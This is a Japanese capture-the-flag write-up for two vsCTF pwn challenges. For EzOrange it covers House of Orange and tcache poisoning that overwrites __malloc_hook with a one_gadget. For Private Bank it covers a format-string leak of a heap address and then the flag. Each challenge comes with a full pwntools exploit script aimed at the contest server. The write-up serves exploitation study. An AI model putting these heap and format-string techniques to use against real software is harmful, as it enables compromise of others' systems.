vsCTF Writeup

vsCTFに参加しました。
pwnはEzOrangeだけ解きました。Private Bankは開催期間中に解けませんでした。

EzOrange (16 solve)

ubuntu@ubuntu-virtual-machine:~/ctf/vsctf/ezorange$ ./ezorange 
1. Buy an orange
2. Modify part of orange
3. Exit
> 1
Orange number: 0
Size: 12
1. Buy an orange
2. Modify part of orange
3. Exit
> 2
Orange number: 0
Total 32 cell in this orange
Cell index: 0
Current value: 0
New value: 1
1. Buy an orange
2. Modify part of orange
3. Exit
> 

よくあるヒープ問題。
脆弱性はModify Part of orange。
Cell indexを選ばされるのだが、これに任意の値を入れて、heap領域 + offsetの値を領域外について読み込み+書き込みができる

気になるのはfreeがないことだが、問題名がOrangeであることから自明だろう。House of orangeが使える。

セキュリティ機構は下記の通り。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   51) Symbols	  No	0		1		/home/ubuntu/ctf/vsctf/ezorange/ezorange

PIEも無効だし、比較的自由にいろいろできそう。

方針としては、まずlibc baseとheap baseをleakしたい。
そのためには、house of orangeをもちいて、大きめのheapをunsorted binに入れてlibc baseをleak。
その後、smallbinなりlarge binなりに入れればfd_nextsizeからheap baseもleakできる。
house of orangeを2回用いてt cache poisoning をすれば終わり。
libcのversion が2.32なのでsafe linkingが有効である。

とはいえheap addressはわかっているので容易にbypassできる。
__malloc_hookを書き換えて、one_gadgetに飛ばすことができる。

from pwn import *
import math
#context.arch="i386"
#context.terminal = ['xterm', '-e']
#context.arch="i386"
#context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/ctf/vsctf/ezorange/ezorange")
libc=ELF("/home/ubuntu/ctf/vsctf/ezorange/libc.so.6")

#p=process("/home/ubuntu/ctf/vsctf/ezorange/ezorange"
#          , aslr=False))
p=remote("104.197.118.147",10160)

#gdb.attach(p)

def Buy(number, size):
    p.sendlineafter(">","1")
    p.sendlineafter("Orange number:",str(number))
    p.sendlineafter("Size:",str(size))
    return

def Modify(number, cell_index, value):
    p.sendlineafter(">","2")
    p.sendlineafter("Orange number:",str(number))
    p.sendlineafter("Cell index:",str(index))
    p.sendlineafter("New value:",str(value))
    return

#only orange 0 is avaibale!
def leak8byte(leak_offset):
    leaked=0
    for i in range(8):
        p.sendlineafter(">","2")
        p.sendlineafter("Orange number:",str(0))
        p.sendlineafter("Cell index:",str(leak_offset+i))
        p.recvuntil("Current value:")
        current_value=int(p.recvline())
        leaked=leaked+current_value*(256**i)
        p.sendlineafter("New value:",str(current_value))
    return leaked

def ovewrite8byte(offset, value):
    for i in range(2+math.ceil(math.log(value, 256))):
        p.sendlineafter(">","2")
        p.sendlineafter("Orange number:",str(0))
        p.sendlineafter("Cell index:",str(offset+i))
        p.sendlineafter("New value:",str(((value//(256**(i)))%256)))
    return

def ovewrite8byte1(offset, value):
    for i in range(2+math.ceil(math.log(value, 256))):
        p.sendlineafter(">","2")
        p.sendlineafter("Orange number:",str(1))
        p.sendlineafter("Cell index:",str(offset+i))
        p.sendlineafter("New value:",str(((value//(256**(i)))%256)))
    return

Buy(0, 0x10)
# overwrite top chunk
ovewrite8byte(0x18, 0xd51)

# free top chunk
Buy(1, 0xd58)
#
Buy(0, 0x10)
Buy(1, 0xd58)
#
# # we can leak heap base and libc base...
libc_base=leak8byte(0x20)-0x1c6200
log.info("libc_base is "+hex(libc_base))
#
heap=leak8byte(0x30)-0x2d0
log.info("heap address is "+hex(heap))
#
# # t_cashe poisonnning
log.info("free")
Buy(1, 0x4f8)
Buy(1, 0x4f8)
Buy(1, 0x4f8)
ovewrite8byte(0x22D08, 0x41)
# free 0x41
log.info("free")
Buy(1, 0x1000)
Buy(1, 0x200)
Buy(1, 0xf00)
Buy(1, 0xa0)
Buy(1, 0x90)
ovewrite8byte(0x44d08, 0x41)
# free 0x41
Buy(1, 0x1000)
# # tcache poisoning
log.info("tcache poisonning")
ovewrite8byte(0x44d10, (heap+0x44FD0)>>12  ^ (libc_base+libc.symbols["__malloc_hook"]))
Buy(1, 0x8)
Buy(1, 0x8)
one_gadget=0xceb71
ovewrite8byte1(0, libc_base+one_gadget)

Buy(1, 0x8)

p.interactive()

NWが遅くて、結構exploitが動くまでに時間がかかってしまった。

libcとldが同時に配布されると、こちらで環境を用意しなくていい点がいいけど…
debugするときにpwndbgとかのheap コマンドが動かないので困るっちゃ困る気がする…

Private Bank (7 solve)

開催期間中に解けなかった。
明らかなFSBがある。

pwndbg> checksec
[*] '/home/ubuntu/ctf/vsctf/privatebank/privatebank'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

RELROもPIEも有効。
2回fsbが使えるので、一回目でheap アドレスをleak して、二回目でheapに保存されているflagをリークするだけの簡単な問題。
heapアドレスをどうleakするか?
これはstack 上にはなさそうなので、FSBのAARを利用してlibcからleakすることにする。

pwndbg> leakfind 0x1555552ef000 --max_depth=1 --max_offset=0x21B0000 --page_name=heap
0x1555552ef000+0x218388 —▸ 0x55555555c000 [heap]
0x1555552ef000+0x218cc0 —▸ 0x55555555c580 [heap]

このaddressからheapをleakしたのち、heapからflagをleakするだけ。

from pwn import *
#context.arch="i386"
#context.terminal = ['xterm', '-e']
#context.arch="i386"
#context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/ctf/vsctf/privatebank/privatebank")
libc=ELF("/home/ubuntu/ctf/vsctf/privatebank/libc-2.34.so")

#p=process("/home/ubuntu/ctf/vsctf/privatebank/privatebank"
#          , aslr=True)} )
p=remote("104.197.118.147",10165)

#gdb.attach(p)

p.recvuntil("Hint:")
libc_base=int(p.recvline(), 16)-libc.symbols["system"]
log.info("libc_base is "+ hex(libc_base))

# leak heap address
p.sendafter("Cabinet number:","1%7$s".encode()+p64(libc_base+0x218cc0))
p.recvuntil("Your cabinet number: 1")
heap_leak=u64(p.recvline()[:6].ljust(8, b"\x00"))
log.info("heap address is "+hex(heap_leak))

# leak flag
p.sendafter("Key:", "%9$s    ".encode()+p64(heap_leak+0x10))
log.info(p.recv(timeout=0.1))
p.interactive()